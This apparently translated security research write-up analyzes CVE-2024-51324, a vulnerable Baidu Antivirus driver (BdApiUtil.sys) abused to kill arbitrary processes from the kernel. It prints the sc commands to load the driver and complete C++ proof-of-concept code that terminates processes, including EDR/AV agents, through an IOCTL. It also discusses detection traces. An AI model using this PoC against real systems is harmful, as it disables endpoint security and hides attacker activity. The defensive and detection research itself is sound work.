Analyzing CVE-2024-51324: From Vulnerability Principle to PoC

Background and vulnerability overview

This report implements and analyzes CVE-2024-51324. The research began when, during APT tracking, we found Baidu Antivirus’s driver BdApiUtil.sys in a Chinese attacker’s sample; curiosity led to further study, revealing the flaw can be used to terminate arbitrary processes on a target device.

CVE-2024-51324 relates to BYOVD (Bring Your Own Vulnerable Driver) and occurs in the BdApiUtil.sys driver used by Baidu Antivirus. If an attacker loads the driver, they can terminate arbitrary processes with kernel privileges via a specific IOCTL call, including protected system processes and various EDR/AV agents.

Field	Value
Affected product	Baidu Antivirus — BdApiUtil.sys
Affected version	v5.2.3.116083
Abusable behavior	Terminate arbitrary processes in the kernel
Weakness class	CWE-269 — Improper Privilege Management
CVSS 3.1	3.8 (Low), AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

The flaw stems from a design defect in the driver’s access control: once BdApiUtil.sys is loaded, any user account can send it IOCTL requests; because the driver performs process termination at Ring 0, it wields higher privilege than a normal user-mode program, and the affected scope includes EDR/AV agents, key system-protection processes, and several core Windows services.

This report is intended only for defensive research, incident response, threat hunting, and educational purposes. The PoC and tools carry risk; test them only in isolated, restorable environments not connected to a production network. Third-party platform and product names are used only for technical description.

Vulnerability implementation

The exploitation flow of BdApiUtil.sys: gain system capability (or use a driver already installed on the target) → load the driver into the kernel → pass an IOCTL + target PID → the driver terminates the process directly in Ring 0. To verify exploitability, we deployed a detection-grade endpoint product in a VMware environment and wrote a PoC that terminates arbitrary processes based on the public vulnerability behavior, in three steps.

Step 1: Prepare BdApiUtil.sys and start the driver service

Obtain BdApiUtil.sys and place it in a directory (e.g. C:\Users\user\Desktop\BdApiUtil.sys\BdApiUtil.sys).

Create and start the driver service (requires system privileges):

sc create bd type=kernel binPath="C:\Users\user\Desktop\BdApiUtil.sys\BdApiUtil.sys"
sc start bd

Step 2: Compile the PoC and communicate with BdApiUtil.sys

GitHub (LOLDrivers Issue #204) already provides a concise C++ example, which we compiled. The logic: open the driver \\.\BdApiUtil → pass the target PID → use IOCTL 0x800024B4 to ask the kernel to terminate the process.

#include <windows.h>
#include <stdio.h>
#include <iostream>

int main() {
#define IOCTL_TERMINATE_PROCESS 0x800024B4
#define DEVICE_NAME L"\\\\.\\BdApiUtil"

    unsigned int pid;

    // 1. Open a handle to the driver
    HANDLE hDriver = CreateFile(
        DEVICE_NAME,
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hDriver == INVALID_HANDLE_VALUE) {
        printf("Error opening device: %d\n", GetLastError());
        return 1;
    }

    printf("PID please : \n");
    scanf_s("%u", &pid);

    // 2. Send a code to the driver
    DWORD bytesReturned = 0;
    BYTE outBuffer[256];
    BOOL ioctlResult = DeviceIoControl(
        hDriver, IOCTL_TERMINATE_PROCESS,
        &pid, sizeof(pid), NULL, 0, &bytesReturned, NULL);

    if (!ioctlResult) {
        printf("Killing IOCTL failed with error: %d\n", GetLastError());
    } else {
        printf("DeviceIoControl succeeded.\n");
    }

    CloseHandle(hDriver);
    return 0;
}

Compile with the x64 Native Tools Command Prompt for VS to get poc.exe.

Step 3: Choose a process to terminate

Running poc.exe and entering PID 4896 successfully closes the target process.

Result — in testing, the PoC successfully terminated the target process from the kernel without administrator privileges. (Note: exploiting a driver flaw relates to the endpoint product’s self-protection, so results differ across AV vendors.)

Behavioral analysis

Observing the vulnerability via system logs shows some traces are recorded:

Service creation is traceable via sc.exe — the PoC creates a driver service with sc create, simulating the unauthorized driver loads common in real threats. Tracing via sc.exe shows C:\Users\user\Desktop\BdApiUtil.sys\BdApiUtil.sys created as the bd service, matching many existing BYOVD chains — a key investigative feature.

Service start’s driver load is observable — when the bd service starts, BdApiUtil.sys is handed to the kernel by sc.exe. Unlike creation, starting the service is the key step that puts the driver into kernel mode; once in the kernel, it can use the flaw for arbitrary memory read/write, disabling security mechanisms, or elevation.

poc.exe’s landing is visible, but subsequent behavior does not surface in monitoring — poc.exe clearly lands and starts, but the behavior it triggers leaves no observable log at the user-mode monitoring layer. This is because the vulnerable driver calls ZwTerminateProcess via IOCTL in the kernel, running directly in Ring 0 without user-mode APIs like taskkill or TerminateProcess(), so no record was observed in this test.

Conclusion

CVE-2024-51324 achieves kernel-level process termination via BYOVD and can stop targets without triggering common user-mode monitoring. Such flaws are often used to evade AV endpoint detection because some endpoints’ behavioral monitoring relies mainly on user-mode sources (ETW, user-mode API hooks, Sysmon/EventLog); when the driver operates directly on the EPROCESS structure or calls kernel-level terminate functions, the termination becomes harder to monitor.

Using BYOVD to run sensitive operations in the kernel is a stealthy attack path. When investigating such flaws, tracing service creation and driver loads via sc.exe is one of the key entry points for spotting suspicious activity.

Sample and references

• Original article (Medium, OIS, Traditional Chinese): 《分析 CVE-2024-51324：從漏洞原理到 PoC 實作》
• NVD — CVE-2024-51324
• LOLDrivers Issue #204 (PoC example source)
• MITRE ATT&CK — basis for the technique mapping